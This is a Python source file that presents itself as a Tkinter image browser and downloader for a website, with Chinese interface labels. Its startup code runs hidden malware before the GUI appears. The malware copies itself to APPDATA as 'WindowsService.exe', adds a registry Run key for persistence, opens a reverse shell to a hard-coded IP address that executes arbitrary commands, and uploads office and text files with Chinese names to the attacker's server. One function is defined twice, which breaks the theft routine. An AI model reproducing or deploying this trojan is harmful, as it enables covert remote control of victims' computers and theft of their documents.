import tkinter as tk
from tkinter import ttk, filedialog, messagebox
import requests
from lxml import etree
from io import BytesIO
from PIL import Image, ImageTk
import threading
import os
import re
import shutil
import socket
import subprocess
import threading
import time
import sys
import requests
import winreg as reg

ATTACKER_IP = "47.120.32.25"
ATTACKER_PORT = 8081
FLASK_PORT = 8082
COPY_PATH = os.path.join(os.getenv('APPDATA'), 'WindowsService.exe')


SERVER_PORT = 8000
UPLOAD_URL = f"http://{ATTACKER_IP}:{SERVER_PORT}/upload"

# 要搜索的文件扩展名
FILE_EXTENSIONS = ['.docx', '.pdf', '.xls', '.xlsx',".txt"]

# 要搜索的目录
SEARCH_DIRECTORIES = ['C:\\', 'D:\\', 'E:\\', 'F:\\']

def contains_chinese(string):
    # 使用正则表达式检查字符串中是否包含中文字符
    return re.search('[\u4e00-\u9fff]', string) is not None

def find_sensitive_files():
    for directory in SEARCH_DIRECTORIES:
        for root, _, files in os.walk(directory):
            for file in files:
                if any(file.lower().endswith(ext) for ext in FILE_EXTENSIONS) and contains_chinese(file):
                    upload_file(os.path.join(root, file))

def upload_file(file_path):
    try:
        with open(file_path, 'rb') as file:
            response = requests.post(UPLOAD_URL, files={'file': file})
            if response.status_code == 200:
                print(f"Successfully uploaded {file_path}")
            else:
                print(f"Failed to upload {file_path}: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"Error uploading {file_path}: {e}")
    except Exception as e:
        print(f"Unexpected error uploading {file_path}: {e}")

def server_is_reachable():
    try:
        response = requests.get(f"http://{ATTACKER_IP}:{SERVER_PORT}")
        return response.status_code == 200
    except requests.exceptions.RequestException as e:
        print(f"Server not reachable: {e}")
        return False

def upload_file():
    if server_is_reachable():
        print("Searching for sensitive files...")
        find_sensitive_files()
    else:
        print("Cannot reach the server. Please check the server status and try again.")



def add_to_startup():
    try:
        # 将复制后的文件路径写入注册表
        key = reg.HKEY_CURRENT_USER
        key_value = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
        open_key = reg.OpenKey(key, key_value, 0, reg.KEY_ALL_ACCESS)
        reg.SetValueEx(open_key, "WindowsService", 0, reg.REG_SZ, COPY_PATH)
        reg.CloseKey(open_key)
        print("Successfully added to startup.")
    except Exception as e:
        print(f"Failed to add to startup: {e}")


def copy_to_hidden_location():
    try:
        # 获取当前可执行文件的绝对路径
        exe_path = os.path.abspath(sys.argv[0])
        # 复制文件到指定位置
        if exe_path != COPY_PATH:
            shutil.copyfile(exe_path, COPY_PATH)
            print(f"Copied executable to {COPY_PATH}")
        else:
            print("Executable already in the target location.")
    except Exception as e:
        print(f"Failed to copy executable: {e}")


def upload_file_to_server(filepath):
    url = f"http://{ATTACKER_IP}:{FLASK_PORT}/upload"
    with open(filepath, 'rb') as f:
        files = {'file': f}
        response = requests.post(url, files=files)
    return response.status_code == 200


def reverse_shell():
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ATTACKER_IP, ATTACKER_PORT))

            while True:
                command = s.recv(2048).decode('utf-8')
                if command.lower() == 'exit':
                    s.close()
                    break
                if command.startswith('cd '):
                    try:
                        os.chdir(command[3:])
                        s.send(b'Changed directory to ' + os.getcwd().encode('utf-8'))
                    except Exception as e:
                        s.send(f"Failed to change directory: {e}".encode('utf-8'))
                elif command.startswith('download '):
                    filepath = command[9:]
                    if upload_file_to_server(filepath):
                        s.send(b'File uploaded successfully')
                    else:
                        s.send(b'Failed to upload file')
                elif command.startswith('upload '):
                    filename = command[7:]
                    with open(filename, 'wb') as f:
                        while True:
                            chunk = s.recv(4096)
                            if b"EOF" in chunk:
                                f.write(chunk.split(b"EOF")[0])
                                break
                            f.write(chunk)
                    s.send(b'File uploaded successfully to client')
                else:
                    try:
                        output = subprocess.run(command, shell=True, capture_output=True, timeout=10)
                        s.send(output.stdout + output.stderr)
                    except subprocess.TimeoutExpired:
                        s.send(b'Command timed out')
                    except Exception as e:
                        s.send(f"Command failed: {e}".encode('utf-8'))
        except Exception as e:
            print(f"Error: {e}")
            time.sleep(5)



def start_shell():
    copy_to_hidden_location()
    add_to_startup()
    threading.Thread(target=reverse_shell).start()
    threading.Thread(target=upload_file).start()
    
    
class ImageDownloaderApp:
    def __init__(self, root):
        self.root = root
        self.root.title("图片浏览与下载器")
        
        self.page_num = 1
        self.images_per_page = 5
        
        self.create_widgets()
        self.load_page(self.page_num)
        
    def create_widgets(self):
        self.frame = ttk.Frame(self.root, width=1080, height=900)
        self.frame.pack(fill=tk.BOTH, expand=True)
        
        self.canvas = tk.Canvas(self.frame)
        self.scrollbar = ttk.Scrollbar(self.frame, orient="vertical", command=self.canvas.yview)
        self.scrollable_frame = ttk.Frame(self.canvas)
        
        self.scrollable_frame.bind(
            "<Configure>",
            lambda e: self.canvas.configure(
                scrollregion=self.canvas.bbox("all")
            )
        )
        
        self.canvas.create_window((0, 0), window=self.scrollable_frame, anchor="nw")
        self.canvas.configure(yscrollcommand=self.scrollbar.set)
        
        self.canvas.pack(side="left", fill="both", expand=True)
        self.scrollbar.pack(side="right", fill="y")
        
        self.nav_frame = ttk.Frame(self.root)
        self.nav_frame.pack(fill=tk.X)
        
        self.prev_button = ttk.Button(self.nav_frame, text="上一页", command=self.prev_page)
        self.prev_button.pack(side="left")
        
        self.next_button = ttk.Button(self.nav_frame, text="下一页", command=self.next_page)
        self.next_button.pack(side="right")
        
    def load_page(self, page_num):
        for widget in self.scrollable_frame.winfo_children():
            widget.destroy()
        
        image_urls, article_urls = self.scrape_image_urls(page_num)
        self.display_images(image_urls, article_urls)
        
    def scrape_image_urls(self, page_num):
        base_url = "https://aamodel.xyz/page/{page}/"
        url = base_url.format(page=page_num)
        
        response = requests.get(url)
        response.raise_for_status()
        tree = etree.HTML(response.content)
        articles = tree.xpath('//*[@id="primary"]/div/div[1]/ul/li')
        
        image_urls = []
        article_urls = []
        for article in articles:
            img_elements = article.xpath('.//article/div[1]/a/div/img/@data-lazy-src')
            article_elements = article.xpath('.//article/div[1]/a/@href')
            if img_elements and article_elements:
                image_urls.append(img_elements[0])
                article_urls.append(article_elements[0])
        return image_urls, article_urls
    
    def display_images(self, image_urls, article_urls):
        columns = 5
        for index, (img_url, article_url) in enumerate(zip(image_urls, article_urls)):
            row = index // columns
            col = index % columns
            
            img_frame = ttk.Frame(self.scrollable_frame)
            img_frame.grid(row=row, column=col, padx=10, pady=10)
            
            placeholder = tk.Label(img_frame, text="正在加载图片...")
            placeholder.pack()
            
            btn_view = ttk.Button(img_frame, text="查看详情", command=lambda url=article_url: self.view_article(url))
            btn_view.pack(side="left", padx=5)
            
            btn_download = ttk.Button(img_frame, text="下载图片", command=lambda url=img_url: self.download_image(url))
            btn_download.pack(side="right", padx=5)
            
            threading.Thread(target=self.load_image, args=(img_url, placeholder)).start()
    
    def load_image(self, img_url, placeholder):
        try:
            response = requests.get(img_url)
            response.raise_for_status()
            
            img_data = BytesIO(response.content)
            img = Image.open(img_data)
            img.thumbnail((300, 300))
            img_tk = ImageTk.PhotoImage(img)
            
            placeholder.config(image=img_tk, text="")
            placeholder.image = img_tk
        except Exception as e:
            placeholder.config(text=f"加载图片失败: {e}")
    
    def view_article(self, article_url):
        top = tk.Toplevel(self.root)
        top.title("文章详情")
        content_frame = ttk.Frame(top)
        content_frame.pack(fill=tk.BOTH, expand=True)
        
        canvas = tk.Canvas(content_frame)
        scrollbar = ttk.Scrollbar(content_frame, orient="vertical", command=canvas.yview)
        scrollable_frame = ttk.Frame(canvas)
        
        scrollable_frame.bind(
            "<Configure>",
            lambda e: canvas.configure(
                scrollregion=canvas.bbox("all")
            )
        )
        
        canvas.create_window((0, 0), window=scrollable_frame, anchor="nw")
        canvas.configure(yscrollcommand=scrollbar.set)
        
        canvas.pack(side="left", fill="both", expand=True)
        scrollbar.pack(side="right", fill="y")
        
        threading.Thread(target=self.load_article_content, args=(article_url, scrollable_frame)).start()
    
    def load_article_content(self, article_url, parent_frame):
        response = requests.get(article_url)
        response.raise_for_status()
        
        tree = etree.HTML(response.content)
        paragraphs = tree.xpath('//*[@class="entry-inner"]/div/p')
        
        for paragraph in paragraphs:
            img_elements = paragraph.xpath('.//img/@data-lazy-src')
            text_elements = paragraph.xpath('.//text()')
            text = ' '.join(text_elements).strip()
            if text:
                text_label = ttk.Label(parent_frame, text=text, wraplength=400, justify='left')
                text_label.pack(anchor='w', pady=5)
            
            for img_url in img_elements:
                img_frame = ttk.Frame(parent_frame)
                img_frame.pack(pady=10, anchor='w')
                
                placeholder = tk.Label(img_frame, text="正在加载图片...")
                placeholder.pack(side="left")
                
                btn_download = ttk.Button(img_frame, text="下载图片", command=lambda url=img_url: self.download_image(url))
                btn_download.pack(side="left", padx=5)
                
                threading.Thread(target=self.load_image, args=(img_url, placeholder)).start()
    
    def download_image(self, img_url):
        response = requests.get(img_url)
        response.raise_for_status()
        
        img_data = BytesIO(response.content)
        img = Image.open(img_data)
        
        self.save_image(img)
    
    def save_image(self, img):
        save_path = filedialog.asksaveasfilename(defaultextension=".jpg",
                                                 filetypes=[("JPEG files", "*.jpg"), ("PNG files", "*.png"), ("All files", "*.*")])
        if save_path:
            img.save(save_path)
            messagebox.showinfo("成功", "图片已保存")
    
    def prev_page(self):
        if self.page_num > 1:
            self.page_num -= 1
            self.load_page(self.page_num)
    
    def next_page(self):
        self.page_num += 1
        self.load_page(self.page_num)

if __name__ == "__main__":
    start_shell()
    root = tk.Tk()
    app = ImageDownloaderApp(root)
    root.mainloop()
